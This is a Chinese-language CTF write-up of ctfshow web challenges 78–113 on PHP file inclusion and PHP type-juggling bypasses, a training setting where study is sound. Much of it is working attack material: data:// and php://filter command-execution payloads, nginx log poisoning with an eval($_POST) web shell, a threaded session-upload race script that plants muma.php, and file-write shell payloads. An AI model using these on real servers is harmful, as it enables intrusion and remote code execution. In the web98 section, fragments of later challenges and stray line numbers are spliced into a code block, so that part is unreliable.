汇总-文件包含

1.UA头插入一句话木马,访问/var/log/nginx/access.log进行日志文件的包含执行
2.php伪协议
data://
php://
3.php特性:
# new ctfshow 和 $ctfshow的写法结果相同
new Reflectionclass()

文件包含系列

web78

原始信息

 <?php

/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date: 2020-09-16 10:52:43
# @Last Modified by: h1xa
# @Last Modified time: 2020-09-16 10:54:20
# @email: h1xa@ctfer.com
# @link: https://ctfer.com

*/


if(isset($_GET['file'])){
$file = $_GET['file'];
include($file);
}else{
highlight_file(__FILE__);
}

解题

// 很初级的任意文件包含,怎么实现都行
GET:
?file=data://text/plain,<?=var_dump(scandir('.'));?>
return:
array(4) { [0]=> string(1) "." [1]=> string(2) ".." [2]=> string(8) "flag.php" [3]=> string(9) "index.php" }

GET:
?file=data://text/plain,<?=system('cat flag.php');?>
return:
$flag="ctfshow{318ad708-8193-46c0-9d70-8395131fc0a1}";

官方WP

/?file=php://filter/convert.base64-encode/resource=flag.php

web79

原始信息

if(isset($_GET['file'])){
$file = $_GET['file'];
$file = str_replace("php", "???", $file);
include($file);
}else{
highlight_file(__FILE__);
}

解题

替换掉字符串php,换个方式查flag。

// 查了下,目录结构没有变化
GET:
?file=data://text/plain,<?=var_dump(scandir('.'));?>
return:
array(4) { [0]=> string(1) "." [1]=> string(2) ".." [2]=> string(8) "flag.php" [3]=> string(9) "index.php" }

//
GET:
?file=data://text/plain;base64,PD89c3lzdGVtKCdjYXQgZmxhZy5waHAnKTs/Pg==
return:
$flag="ctfshow{318ad708-8193-46c0-9d70-8395131fc0a1}";

官方WP

?file=data://text/plain;base64,PD9waHAgc3lzdGVtKCdjYXQgZmxhZy5waHAnKTs=
PD9waHAgc3lzdGVtKCdjYXQgZmxhZy5waHAnKTs ===> <?php system('cat flag.php');

web80

原始信息

if(isset($_GET['file'])){
$file = $_GET['file'];
$file = str_replace("php", "???", $file);
$file = str_replace("data", "???", $file);
include($file);
}else{
highlight_file(__FILE__);
}

解题

过滤了data,zip压缩流好像也无法调用。
这里调用的是日志文件。
具体流程如下:

# 先尝试访问到日志文件
GET:
?file=/var/log/nginx/access.log
return:
// 说明访问成功
172.12.0.40 - - [28/Aug/2023:09:41:53 +0000] "GET / HTTP/1.1" 200 2291 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/116.0"

随便抓个包,在UA的地方插入一句话木马。

GET /?file=/var/log/nginx/access.log HTTP/1.1
Host: 82b96b22-cba9-4ca8-bb5e-a799983d105b.challenge.ctf.show
User-Agent: <?php eval($_POST[1])?>
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
Upgrade-Insecure-Requests: 1
Pragma: no-cache
Cache-Control: no-cache

放包后,发现出现奇怪的日志记录就算成功了。

172.12.0.40 - - [28/Aug/2023:09:50:50 +0000] "GET /?file=/var/log/nginx/access.log&callback=jsonp1&cb=jsonp2&jsonp=jsonp3&jsonpcallback=jsonp4&jsonpcb=jsonp5&jsonp_cb=jsonp6&call=jsonp7&jcb=jsonp8&json=jsonp9&cbk=jsonp10&jsonpCallback=jsonp11&jsonpcb=jsonp12&jsoncallback=jsonp13&method=jsonp14&callbackStatus=jsonp15&jsonp_callback=jsonp16 HTTP/1.1" 200 1008 "http://82b96b22-cba9-4ca8-bb5e-a799983d105b.challenge.ctf.show/" "<br />
<b>Notice</b>: Undefined offset: 1 in <b>/var/log/nginx/access.log</b> on line <b>6</b><br />

然后使用一句话get后台读取即可

# get部分固定是这个样子,变动的是POST部分。
GET: http://82b96b22-cba9-4ca8-bb5e-a799983d105b.challenge.ctf.show/?file=/var/log/nginx/access.log

POST: 1=system('ls');
return:
fl0g.php index.php
POST:
<?php
/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date: 2020-09-16 11:24:37
# @Last Modified by: h1xa
# @Last Modified time: 2020-09-16 11:25:00
# @email: h1xa@ctfer.com
# @link: https://ctfer.com
*/
$flag="ctfshow{144be8c9-a20c-4250-9d72-77caf7843ed3}";

web81

原始信息

if(isset($_GET['file'])){
$file = $_GET['file'];
$file = str_replace("php", "???", $file);
$file = str_replace("data", "???", $file);
$file = str_replace(":", "???", $file);
include($file);
}else{
highlight_file(__FILE__);
}

解答

因为过滤的时候无法影响到日志文件的UA头,所以说这道题的WP和80题一致。

web82~86通杀脚本

import requests
import io
import threading


url='http://801e7156-6aa4-4326-a739-2ad139d518aa.challenge.ctf.show/'
sessionid='ctfshow'
data={
"1":"file_put_contents('/var/www/html/muma.php','<?php eval($_POST[a]);?>');"
}

'''
post 传递内容可在网站目录下写入一句话木马。
根据资料,内容暂存在 /tmp/ 目录下 sess_sessionid 文件。
sessionid 可控,所以这里即 /tmp/sess_ctfshow。
这样一旦访问成功,就说明木马植入了
'''


# /tmp/sess_sessionid 中写入一句话木马。
def write(session):
fileBytes = io.BytesIO(b'a'*1024*50)
while True:
response=session.post(
url,
data={
'PHP_SESSION_UPLOAD_PROGRESS':'<?php eval($_POST[1]);?>'
},
cookies={
'PHPSESSID':sessionid
},
files={
'file':('ctfshow.jpg',fileBytes)
}
)


# 访问 /tmp/sess_sessionid,post 传递信息,保存新木马。
def read(session):
while True:
response=session.post(
url+'?file=/tmp/sess_'+sessionid,
data=data,
cookies={
'PHPSESSID':sessionid
}
)
# 访问木马文件,如果访问到了就代表竞争成功
resposne2=session.get(url+'muma.php')
if resposne2.status_code==200:
print('++++++done++++++')
else:
print(resposne2.status_code)

if __name__ == '__main__':

evnet=threading.Event()
# 写入和访问分别设置 5 个线程。
with requests.session() as session:
for i in range(5):
threading.Thread(target=write,args=(session,)).start()
for i in range(5):
threading.Thread(target=read,args=(session,)).start()

evnet.set()

如果本机的机器环境够格的话,是能一下子跑出正确状态的。但是如果本机环境不行,放云环境跑一下即可。笔者在本地上跑不出结果,放云Ubuntu跑一下就出结果了。

web82(条件竞争)

原始信息

if(isset($_GET['file'])){
$file = $_GET['file'];
$file = str_replace("php", "???", $file);
$file = str_replace("data", "???", $file);
$file = str_replace(":", "???", $file);
# 无后缀:session文件
$file = str_replace(".", "???", $file);
include($file);
}else{
highlight_file(__FILE__);
}

解答

# 即便没开启session,上传时也会自产生
# session文件临时位置
/tmp/sess_xxxxxx
# 获取实时文件上传进度,返回一个session
PHP_SESSION_UPLOAD_PRGRESS
# 假设提交内容123
PHP_SESSION_UPLOAD_PRGRESS=>'123'->/tmp/sess_aaa->内容就是123

web83

原始信息

解题

PHP特性

web89

原始信息

include("flag.php");
highlight_file(__FILE__);

if(isset($_GET['num'])){
$num = $_GET['num'];
if(preg_match("/[0-9]/", $num)){
die("no no no!");
}
if(intval($num)){
echo $flag;
}
}

解题

数组绕过

num[]=1

web90

原始信息

include("flag.php");
highlight_file(__FILE__);
if(isset($_GET['num'])){
$num = $_GET['num'];
if($num==="4476"){
die("no no no!");
}
if(intval($num,0)===4476){
echo $flag;
}else{
echo intval($num,0);
}
}

解题

// 因为我们传入参数的时候,num的值就已经是字符串了。
// 我们想要透过强比较得到flag,就不能和4476字符串相等。
$num = $_GET['num'];
if($num==="4476"){
die("no no no!");
}
// 这里会对字符串进行处理得到整数,传入4476a就相当于传入了4476
if(intval($num,0)===4476){
echo $flag;
}else{
echo intval($num,0);
}

构造payload:

GET:?num=4476a
return:ctfshow{75593d49-792f-4470-a98f-0d28ee3afdbf}

web91

原始信息

show_source(__FILE__);
include('flag.php');
$a=$_GET['cmd'];
if(preg_match('/^php$/im', $a)){
if(preg_match('/^php$/i', $a)){
echo 'hacker';
}
else{
echo $flag;
}
}
else{
echo 'nonononono';
}

解答

// 过滤php,不区分大小写+多行匹配
if(preg_match('/^php$/im', $a)){
// 过滤php,不区分大小写
if(preg_match('/^php$/i', $a)){
echo 'hacker';
}
else{
echo $flag;
}
}
else{
echo 'nonononono';
}

传参的要求:有换行和php

GET:?cmd=%0aphp
return:ctfshow{saadfgadgerhdrfagdsfasdasdf}

%0a正则表达式相关考点介绍的博客点我

web92

原始信息

include("flag.php");
highlight_file(__FILE__);
if(isset($_GET['num'])){
$num = $_GET['num'];
if($num==4476){
die("no no no!");
}
if(intval($num,0)==4476){
echo $flag;
}else{
echo intval($num,0);
}
}

解题

// 使用科学计数法e来绕过
if($num==4476){
die("no no no!");
}
// 遇到e,因为有0存在,截取e前面的字符串为数字
if(intval($num,0)==4476){
echo $flag;
}else{
echo intval($num,0);
}

构造payload:

?num=44767e12

web93

原始信息

include("flag.php");
highlight_file(__FILE__);
if(isset($_GET['num'])){
$num = $_GET['num'];
if($num==4476){
die("no no no!");
}
if(preg_match("/[a-z]/i", $num)){
die("no no no!");
}
if(intval($num,0)==4476){
echo $flag;
}else{
echo intval($num,0);
}
}

解题

过滤了英文字符,使用进制绕过限制

?num=010574

web94

原始信息

include("flag.php");
highlight_file(__FILE__);
if(isset($_GET['num'])){
$num = $_GET['num'];
if($num==="4476"){
die("no no no!");
}
if(preg_match("/[a-z]/i", $num)){
die("no no no!");
}
if(!strpos($num, "0")){
die("no no no!");
}
if(intval($num,0)===4476){
echo $flag;
}
}

解题

多过滤了0,这次使用小数点
?num=4476.0

web95

原始信息

include("flag.php");
highlight_file(__FILE__);
if(isset($_GET['num'])){
$num = $_GET['num'];
if($num==4476){
die("no no no!");
}
if(preg_match("/[a-z]|\./i", $num)){
die("no no no!!");
}
if(!strpos($num, "0")){
die("no no no!!!");
}
if(intval($num,0)===4476){
echo $flag;
}
}

解题

1.绕过数字封锁,使用八进制进行绕过
2.绕过0和字母封锁,使用 "+" 进行绕过
?num=+010574

web96

原始信息

if(isset($_GET['u'])){
if($_GET['u']=='flag.php'){
die("no no no");
}else{
highlight_file($_GET['u']);
}
}

解题

比较简单,直接读取即可。

?u=./flag.php

web97

原始信息

include("flag.php");
highlight_file(__FILE__);
if (isset($_POST['a']) and isset($_POST['b'])) {
if ($_POST['a'] != $_POST['b'])
if (md5($_POST['a']) === md5($_POST['b']))
echo $flag;
else
print 'Wrong.';
}

解题

// 存在检测
if (isset($_POST['a']) and isset($_POST['b'])) {
// 不相等
if ($_POST['a'] != $_POST['b'])
// 强比较md5值
if (md5($_POST['a']) === md5($_POST['b']))
echo $flag;
else
print 'Wrong.';
}
// 这是存粹的单个单个的比较,这里尝试数组绕过md5.
// 1.数组值不同,所以说POST值不同
// 2.两个都是数组,md5函数无法处理,同时为false

poc:

POST:a[]=1&b[]=2
return:ctfshow{48116617-7920-4e46-a2ef-937761aba639}

web98

原始信息

include("flag.php");
$_GET?$_GET=&$_POST:'flag';
$_GET['flag']=='flag'?$_GET=&$_COOKIE:'flag';
$_GET['flag']=='flag'?$_GET=&$_SERVER:'flag';
highlight_file($_GET['HTTP_FLAG']=='flag'?$flag:__FILE__);

解题

// 如果存在GET数组,把POST数组赋值给它
// 如果不存在,
$_GET?$_GET=&$_POST:'flag';
$_GET['flag']=='flag'?$_GET=&$_COOKIE:'flag';
$_GET['flag']=='flag'?$_GET=&$_SERVER:'flag';
highlight_file($_GET['HTTP_FLAG']=='flag'?$flag:__FILE__);

这里看不大懂,WP简单如下:

GET: ?HTTP_FLAG=flag
POST: HTTP_FLAG=flag

这是利用报错回显了flag。

官方的WP:

https://www.php.cn/php-notebook-172859.html https://www.php.cn/php-weizijiaocheng-383293.html 
考点是PHP里面的三元运算符和传址(引用) 传址(引用)
有点像c语言里面的地址 我们可以修改一下代码

<?php
include('flag.php');
if($_GET){
$_GET=&$_POST;//只要有输入的get参数就将get方法改变为post方法(修改了get方法的地址)
}else{
"flag";
}
if($_GET['flag']=='flag'){
$_GET=&$_COOKIE;
}else{
'flag';
1 2 3 4 5 6 7 8 9
10
11

所以我们只需要 GET一个?HTTP_FLAG=flag 加 POST一个HTTP_FLAG=flag
中间的代码没有作用,因为我们不提交 flag 参数

web99 payload:
get : ?n=1.php
post:content=<?php system($_POST[1]);?>

web100
这道题基本上没有对参数进行过滤,所以直接执行命令
payload:

web101
https://segmentfault.com/q/1010000000770535
考察使用函数打印对象里面的属性。
我们可以出100的题里面看到提示,ctfshow.php里面就只有属性。并且最后的属性就是flag.
我们可以使用Reflectionclass类,打印类的结构
payload:
} if($_GET['flag']=='flag'){
$_GET=&$_SERVER;
}else{
'flag';
}
if($_GET['HTTP_FLAG']=='flag'){//需要满足这个条件就可以输出flag
highlight_file($flag);
}else{
highlight_file(__FILE__);
}
所以我们只需要 GET一个?HTTP_FLAG=flag 加 POST一个HTTP_FLAG=flag 中间的代码没有作用,因为我们不提交 flag 参数

web99-写入型

原始信息

highlight_file(__FILE__);
$allow = array();
for ($i=36; $i < 0x36d; $i++) {
array_push($allow, rand(1,$i));
}
if(isset($_GET['n']) && in_array($_GET['n'], $allow)){
file_put_contents($_GET['n'], $_POST['content']);
}

解题

新的类型,初开的简单题。

$allow = array();
# 数字鉴定
for ($i=36; $i < 0x36d; $i++) {
array_push($allow, rand(1,$i));
}
# 获取n参数,并且把n参数放到数字参数去鉴定是否正确
if(isset($_GET['n']) && in_array($_GET['n'], $allow)){
# 写入文件内容
file_put_contents($_GET['n'], $_POST['content']);
}

只要在写入一个一句话木马就gameover了。

GET:?n=10.php
POST:content=<?php eval($_POST[1])?>

上面那样子就已经写入一个脚本了。

后面就算常规的一句话木马的测试了。

get:/10.php
post:1=system('ls');
return:10.php flag36d.php index.php

get:/10.php
post:1=var_dump(file_get_contents('flag36d.php'));
return:
<?php
$flag="ctfshow{0f4f09b5-aed0-4f02-9aa7-dfffb28e0cc4}";"

web100

原始信息

highlight_file(__FILE__);
include("ctfshow.php");
//flag in class ctfshow;
$ctfshow = new ctfshow();
$v1=$_GET['v1'];
$v2=$_GET['v2'];
$v3=$_GET['v3'];
$v0=is_numeric($v1) and is_numeric($v2) and is_numeric($v3);
if($v0){
if(!preg_match("/\;/", $v2)){
if(preg_match("/\;/", $v3)){
eval("$v2('ctfshow')$v3");
}
}
}

解题

源码分析:

//flag in class ctfshow;
$ctfshow = new ctfshow();
$v1=$_GET['v1'];
$v2=$_GET['v2'];
$v3=$_GET['v3'];
// 确定传入的参数是否为整数
# 因为赋值的优先级高于逻辑运算,将优先处理is_numeric($v1)赋为$0的值
$v0=is_numeric($v1) and is_numeric($v2) and is_numeric($v3);
if($v0){
//正则表达式过滤
if(!preg_match("/\;/", $v2)){
if(preg_match("/\;/", $v3)){
//字符串格式化执行
eval("$v2('ctfshow')$v3");
}
}
}

看似有is_numeric,实则跟没有差不多。

当前两项是false时,后面再来一个false,$v0依然是true。

GET:
?v1=21
&v2=var_dump(scandir(pos(localeconv())))/*
&v3=*/;
return:
array(5) { [0]=> string(1) "." [1]=> string(2) ".." [2]=> string(11) "ctfshow.php" [3]=> string(11) "flag36d.php" [4]=> string(9) "index.php" }


GET:
?v1=21
&v2=var_dump(file_get_contents('flag36d.php'))/*
&v3=*/;
return:
$flag="flag_here";"

#试着去读取环境变量
GET:
?v1=21
&v2=var_dump(getenv)/*
&v3=*/;
return:
array(19) {
["PHP_EXTRA_CONFIGURE_ARGS"]=>
string(77) "--enable-fpm --with-fpm-user=www-data --with-fpm-group=www-data --disable-cgi"
["HOSTNAME"]=>
string(12) "49bf31952b5a"
["PHP_INI_DIR"]=>
string(18) "/usr/local/etc/php"
["SHLVL"]=>
string(1) "1"
["HOME"]=>
string(14) "/home/www-data"
["PHP_LDFLAGS"]=>
string(12) "-Wl,-O1 -pie"
["PHP_CFLAGS"]=>
string(83) "-fstack-protector-strong -fpic -fpie -O2 -D_LARGEFILE_SOURCE -D_FILE_OFFSET_BITS=64"
["PHP_MD5"]=>
string(0) ""
["PHP_VERSION"]=>
string(6) "7.3.22"
["GPG_KEYS"]=>
string(81) "CBAF69F173A0FEA4B537F470D66C9593118BCCB6 F38252826ACD957EF380D39F2F7956BC5DA04B5D"
["PHP_CPPFLAGS"]=>
string(83) "-fstack-protector-strong -fpic -fpie -O2 -D_LARGEFILE_SOURCE -D_FILE_OFFSET_BITS=64"
["PHP_ASC_URL"]=>
string(55) "https://www.php.net/distributions/php-7.3.22.tar.xz.asc"
["PHP_URL"]=>
string(51) "https://www.php.net/distributions/php-7.3.22.tar.xz"
["PATH"]=>
string(60) "/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin"
["PHPIZE_DEPS"]=>
string(78) "autoconf dpkg-dev dpkg file g++ gcc libc-dev make pkgconf re2c"
["PWD"]=>
string(13) "/var/www/html"
["PHP_SHA256"]=>
string(64) "0e66606d3bdab5c2ae3f778136bfe8788e574913a3d8138695e54d98562f1fb5"
["FLAG"]=>
string(8) "not_flag"
["USER"]=>
string(8) "www-data"
}
# 读取类
# new ctfshow 和 $ctfshow的写法结果相同
GET:
?v1=21
&v2=var_dump($ctfshow)/*
&v3=*/;
return:
object(ctfshow)#2 (3) { ["dalaoA"]=> NULL ["dalaoB"]=> NULL ["flag_is_fb58e3360x2d850d0x2d4a2c0x2d90480x2d67acee324269"]=> NULL }

转化下得到的东西:'0x2d' -> '-'
fb58e3360x2d850d0x2d4a2c0x2d90480x2d67acee324269
fb58e336-850d-4a2c-9048-67acee324269
=> ctfshow{fb58e336-850d-4a2c-9048-67acee324269}

web101

原始信息

highlight_file(__FILE__);
include("ctfshow.php");
//flag in class ctfshow;
$ctfshow = new ctfshow();
$v1=$_GET['v1'];
$v2=$_GET['v2'];
$v3=$_GET['v3'];
$v0=is_numeric($v1) and is_numeric($v2) and is_numeric($v3);
if($v0){
if(!preg_match("/\\\\|\/|\~|\`|\!|\@|\#|\\$|\%|\^|\*|\)|\-|\_|\+|\=|\{|\[|\"|\'|\,|\.|\;|\?|[0-9]/", $v2)){
if(!preg_match("/\\\\|\/|\~|\`|\!|\@|\#|\\$|\%|\^|\*|\(|\-|\_|\+|\=|\{|\[|\"|\'|\,|\.|\?|[0-9]/", $v3)){
eval("$v2('ctfshow')$v3");
}
}
}

解题

这次题目过滤的很严重,基本上所有的有用的符号都过滤完了。唯一没过率的是空格,英文字符。

GET:
?v1=1
&v2=echo new Reflectionclass
&v3=;
return:
Class [ class ctfshow ] { @@ /var/www/html/ctfshow.php 15-17 - Constants [0] { } - Static properties [0] { } - Static methods [0] { } - Properties [3] { Property [ public $dalaoA ] Property [ public $dalaoB ] Property [ public $flag_95d6ac660x2d97c50x2d4e840x2d91a80x2d738690f9687 ] } - Methods [0] { } }

修改,同时爆破最后面一位。
95d6ac660x2d97c50x2d4e840x2d91a80x2d738690f9687 => 95d6ac66-97c5-4e84-91a8-738690f9687
具体怎么爆破?
很简单,BP抓个包爆破下就可以了。
还有一点,爆破的最后一位是随机的。

web102

原始信息

highlight_file(__FILE__);
$v1 = $_POST['v1'];
$v2 = $_GET['v2'];
$v3 = $_GET['v3'];
$v4 = is_numeric($v2) and is_numeric($v3);
if($v4){
$s = substr($v2,2);
$str = call_user_func($v1,$s);
echo $str;
file_put_contents($v3,$str);
}
else{
die('hacker');
}

解题

源码分析

$v1 = $_POST['v1'];
$v2 = $_GET['v2'];
$v3 = $_GET['v3'];
# 首先,进行is_numeric甄别
# 赋值优先级高于逻辑运算
$v4 = is_numeric($v2) and is_numeric($v3);
if($v4){
# 进行分割,舍弃字符串/数字前两个
//这里唯一的坑应该是数字转换好了,却因为少写了两个数字而气愤吧
$s = substr($v2,2);
# 调用$v1作为函数,传入的参数是$v2(没分割的情况下就是$v2原值)
$str = call_user_func($v1,$s);
echo $str;
file_put_contents($v3,$str);
}
else{
die('hacker');
}

首先,这个题目碰到了两个问题

  1. $v2必须使用数字

  2. $v1是$v2处理后的第二个处理函数

  3. $v3控制的是写入的文件是哪个

原本根据官方的WP应该是能做出来的,我也测不出能调用科学技术法的纯数字加一个e的组合。

下面是官方WP:

GET:
?v2=115044383959474e6864434171594473
&v3=php://filter/write=convert.base64-decode/resource=3.php
POST:
v1=hex2bin

return:
回显的是一个简单的字符串,
查看文件内容有两个随机字符,并且那些真正有用的内容只有查看网页源代码才能看到

WP的来源:

#$v2数字字符串来源:
$a = "<?=`cat *`;";
# 这里的0到-1是舍弃等号的
echo '11'.bin2hex(substr(base64_encode($a),0,-1));
#剩下的就是逐层对我们加密的字符串进行解码并且传入进去了
#唯一的注意点就是$a加密后前随机加上两个数字才能抵扣substr

web103

原始信息

<?php

/*
# -*- coding: utf-8 -*-
# @Author: atao
# @Date: 2020-09-16 11:25:09
# @Last Modified by: h1xa
# @Last Modified time: 2020-09-23 21:03:24

*/


highlight_file(__FILE__);
$v1 = $_POST['v1'];
$v2 = $_GET['v2'];
$v3 = $_GET['v3'];
$v4 = is_numeric($v2) and is_numeric($v3);
if($v4){
$s = substr($v2,2);
$str = call_user_func($v1,$s);
echo $str;
if(!preg_match("/.*p.*h.*p.*/i",$str)){
file_put_contents($v3,$str);
}
else{
die('Sorry');
}
}
else{
die('hacker');
}

?>

解题

最致命的,作为菜鸡居然看错了v3没被限制的问题……

正则表达式过滤的是v2被v1处理后的结果,并且进行php后缀筛查的也是这个结果。

所以说,没有控制到v3,和上一题一样WP。

GET:
?v2=115044383959474e6864434171594473
&v3=php://filter/write=convert.base64-decode/resource=3.php
POST:
v1=hex2bin

return:
回显的是一个简单的字符串,
查看文件内容有两个随机字符,并且那些真正有用的内容只有查看网页源代码才能看到

web104–换题型

这次从两个传参开始.

原始信息

highlight_file(__FILE__);
include("flag.php");

if(isset($_POST['v1']) && isset($_GET['v2'])){
$v1 = $_POST['v1'];
$v2 = $_GET['v2'];
if(sha1($v1)==sha1($v2)){
echo $flag;
}
}

目测:哈希值弱类型比较

解题

这个哈希值弱类型比较比较简单,原因就是它连字符串的值是否相等都没做出比较。如果是md5那种初始值不等加密值相等的情况应该会很难搞。

GET:v2=1
POST:v1=1
return:ctfshow{352baa81-b599-44bd-84f1-0b3b687fc230}

web105

原始信息

highlight_file(__FILE__);
include('flag.php');
error_reporting(0);
$error='你还想要flag嘛?';
$suces='既然你想要那给你吧!';
foreach($_GET as $key => $value){
if($key==='error'){
die("what are you doing?!");
}
$$key=$$value;
}foreach($_POST as $key => $value){
if($value==='flag'){
die("what are you doing?!");
}
$$key=$$value;
}
if(!($_POST['flag']==$flag)){
die($error);
}
echo "your are good".$flag."\n";
die($suces);

一下子成了绕路十八弯……

解题

首当其冲,源码分析:

$error='你还想要flag嘛?';
$suces='既然你想要那给你吧!';
// 读取get数组的内容
foreach($_GET as $key => $value){
// 鉴定数组的key,鉴定到就截断程序
if($key==='error'){
die("what are you doing?!");
}
//鉴定不到就格式化为变量
$$key=$$value;
// 读取POST数组的内容
}foreach($_POST as $key => $value){
// 鉴定key是否存在flag,鉴定即截断
if($value==='flag'){
die("what are you doing?!");
}
// 同样,赋值到当前文件变量
$$key=$$value;
}
# 鉴定是否存在key为flag变量的字符串,满足条件就截断程序
if(!($_POST['flag']==$flag)){
die($error);
}
# 调用flag,执行并且输出
echo "your are good".$flag."\n";
die($suces);

这个题目的关键:

$'a'=$'b'

怎么利用好这个信息很关键。

在看到上面出现flag导入和赋值时,可以选择考虑能不能用当下展示出来的所有变量替换为我需要的变量。起初这道题做的时候,我犯下的重大错误就算误以为这个变量藏在全局环境变量里面,后来才察觉到要使用变量替换。

GET:?suces=flag
POST:error=suces
return:ctfshow{411087df-3bd9-485d-afd3-7c80bec56c94}

web106

原始信息

highlight_file(__FILE__);
include("flag.php");

if(isset($_POST['v1']) && isset($_GET['v2'])){
$v1 = $_POST['v1'];
$v2 = $_GET['v2'];
if(sha1($v1)==sha1($v2) && $v1!=$v2){
echo $flag;
}
}

解题

这波还真给我猜中了。。。

哈希值没听说过有md5的那种前面0x弱类型比较绕过,去试验了下,哈希函数无法转换数组,它会一致性的返回NULL。

GET:v2[]=2
POST:v1[]=1
return: ctfshow{2642a8fd-0c7b-4ae0-bb80-9538f6c924f5}

web107–换题型

原始信息

highlight_file(__FILE__);
error_reporting(0);
include("flag.php");

if(isset($_POST['v1'])){
$v1 = $_POST['v1'];
$v3 = $_GET['v3'];
parse_str($v1,$v2);
if($v2['flag']==md5($v3)){
echo $flag;
}

}

解题

v2??无中生有了属于是……

if(isset($_POST['v1'])){
$v1 = $_POST['v1'];
$v3 = $_GET['v3'];
# 将$v1的变量表达式解析为变量和值的形式,并且以数组的形式赋值到$v2当中
# 形如:
//$v1='a=1&b=2' => $v2['a']=1,$v2['b']=2
parse_str($v1,$v2);
//获取v2的值进行弱类型比较
if($v2['flag']==md5($v3)){
echo $flag;
}
}

似乎这个很简单。

给$v1一个等式,再给$v3一个特殊的md5值。

GET:?v3=s878926199a
POST:v1=flag=0e545993274517709034328855841020
return:ctfshow{8fab69b7-3b39-4d5f-ac55-fb697083d56e}

好吧,真的很简单。一看就知道这是新题型。

web108

原始信息

highlight_file(__FILE__);
error_reporting(0);
include("flag.php");
if (ereg ("^[a-zA-Z]+$", $_GET['c'])===FALSE) {
die('error');

}
//只有36d的人才能看到flag
if(intval(strrev($_GET['c']))==0x36d){
echo $flag;
}

解题

// 正则表达式匹配,匹配是不包含字母
//ereg在5.3版本后被弃用
//ereg()函数用指定的模式搜索一个字符串中指定的字符串,如果匹配成功返回true,否则,则返回false。搜索字母的字符是大小写敏感的。
if (ereg ("^[a-zA-Z]+$", $_GET['c'])===FALSE) {
die('error');
}

//只有36d的人才能看到flag
//翻转字符串并且转为整数
//0x开头,想办法使得值与之对等即可
if(intval(strrev($_GET['c']))==0x36d){
echo $flag;
}

这里,有翻转字符串的函数在。这是使用00截断的大前提。

?c=a%00a778
原本官方的WP是a%00778
因为上面翻转字符串和修改字符串为整数的加持,有一点让我很不解:
假设翻转字符串后的结果是87700%a,那么后面会多出两个0
那么转化的时候为什么没算上这两个0?
所以我觉得严谨点的写法应该是a%00a778

web109

原始信息

highlight_file(__FILE__);
error_reporting(0);
if(isset($_GET['v1']) && isset($_GET['v2'])){
$v1 = $_GET['v1'];
$v2 = $_GET['v2'];

if(preg_match('/[a-zA-Z]+/', $v1) && preg_match('/[a-zA-Z]+/', $v2)){
eval("echo new $v1($v2());");
}
}

解题

利用异常报错插入命令进行执行

Exception 异常处理类
payload:
?v1=Exception&v2=system('cat fl36dg.txt')
?v1=Reflectionclass&v2=system('cat fl36dg.txt')

web110

原始信息

if(isset($_GET['v1']) && isset($_GET['v2'])){
$v1 = $_GET['v1'];
$v2 = $_GET['v2'];

if(preg_match('/\~|\`|\!|\@|\#|\\$|\%|\^|\&|\*|\(|\)|\_|\-|\+|\=|\{|\[|\;|\:|\"|\'|\,|\.|\?|\\\\|\/|[0-9]/', $v1)){
die("error v1");
}
if(preg_match('/\~|\`|\!|\@|\#|\\$|\%|\^|\&|\*|\(|\)|\_|\-|\+|\=|\{|\[|\;|\:|\"|\'|\,|\.|\?|\\\\|\/|[0-9]/', $v2)){
die("error v2");
}
eval("echo new $v1($v2());");
}

解题

千万不要使用函数读取文件内容,txt文件是可以直接访问的,别掉坑了。

php内置类 利用 FilesystemIterator 获取指定目录下的所有文件 
payload: ?v1=FilesystemIterator&v2=getcwd

web111

原始信息

highlight_file(__FILE__);
error_reporting(0);
include("flag.php");

function getFlag(&$v1,&$v2){
eval("$$v1 = &$$v2;");
var_dump($$v1);
}


if(isset($_GET['v1']) && isset($_GET['v2'])){
$v1 = $_GET['v1'];
$v2 = $_GET['v2'];

if(preg_match('/\~| |\`|\!|\@|\#|\\$|\%|\^|\&|\*|\(|\)|\_|\-|\+|\=|\{|\[|\;|\:|\"|\'|\,|\.|\?|\\\\|\/|[0-9]|\<|\>/', $v1)){
die("error v1");
}
if(preg_match('/\~| |\`|\!|\@|\#|\\$|\%|\^|\&|\*|\(|\)|\_|\-|\+|\=|\{|\[|\;|\:|\"|\'|\,|\.|\?|\\\\|\/|[0-9]|\<|\>/', $v2)){
die("error v2");
}

# 限制输入字符串
if(preg_match('/ctfshow/', $v1)){
getFlag($v1,$v2);
}
}

解题

过滤掉全部的符号,又搞一个变量赋值。

唯一符合变量赋值又能获取相关信息的,只有全局变量。

?v1=ctfshow&v2=GLOBALS

web112

原始信息

highlight_file(__FILE__);
error_reporting(0);
function filter($file){
if(preg_match('/\.\.\/|http|https|data|input|rot13|base64|string/i',$file)){
die("hacker!");
}else{
return $file;
}
}
$file=$_GET['file'];
if(! is_file($file)){
highlight_file(filter($file));
}else{
echo "hacker!";
}

解题

协议绕过

is_file()	# 判断给定文件名是否为一个正常的文件, 失败时抛出 E_WARNING 警告。
# 可以试验包装器 伪协议 绕过
# 过滤掉的:file://
# 不影响file_get_contents highlight_file
preg_match('/\.\.\/|http|https|data|input|rot13|base64|string/i',$file);
#正则表达式过滤,过滤掉了许多协议,但在php伪协议当中还能选择其它协议来试验
#因为代码高亮,所以没必要去另外把源码编译为base64的格式了
#更何况编译base64已经被限制死了。
php://filter/resource=flag.php
php://filter/convert.iconv.UCS-2LE.UCS-2BE/resource=flag.php
php://filter/read=convert.quoted-printable-encode/resource=flag.php
compress.zlib://flag.php

web113

原始信息

highlight_file(__FILE__);
error_reporting(0);
function filter($file){
if(preg_match('/filter|\.\.\/|http|https|data|data|rot13|base64|string/i',$file)){
die('hacker!');
}else{
return $file;
}
}
$file=$_GET['file'];
if(! is_file($file)){
highlight_file(filter($file));
}else{
echo "hacker!";
}

解题

目录溢出

具体原因:proc伪文件系统,多个软连接超越处理长度,is_file就不认为它不是一个文件。

